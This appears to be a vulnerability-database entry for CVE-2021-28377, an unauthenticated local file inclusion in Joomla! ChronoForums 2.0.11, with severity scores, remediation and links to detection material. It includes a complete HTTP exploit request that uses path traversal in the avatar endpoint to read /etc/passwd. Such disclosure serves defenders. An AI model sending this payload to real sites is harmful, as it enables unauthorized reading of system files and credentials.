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CVE-2021-28377: Joomla! ChronoForums 2.0.11 - Local File Inclusion

TitleJoomla! ChronoForums 2.0.11 - Local File Inclusion
Author0x_Akoko
SeverityMedium
ImpactThe LFI vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing remote code execution.
RemediationUpdate Joomla! ChronoForums to the latest version (2.0.12) or apply the provided patch to fix the LFI vulnerability.
CVSS Score5.3
EPSS Score0.4612
CVE IDCVE-2021-28377
CWE IDCWE-22
Tags cve2021 cve chronoforums lfi joomla chronoengine vuln

🔍 Vulnerability Description

Joomla! ChronoForums 2.0.11 avatar function is vulnerable to local file inclusion through unauthenticated path traversal attacks. This enables an attacker to read arbitrary files, for example the Joomla! configuration file which contains credentials.

🌐 HTTP Request

GET /index.php/component/chronoforums2/profiles/avatar/u1?tvout=file&av=../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-28377.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-28377.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A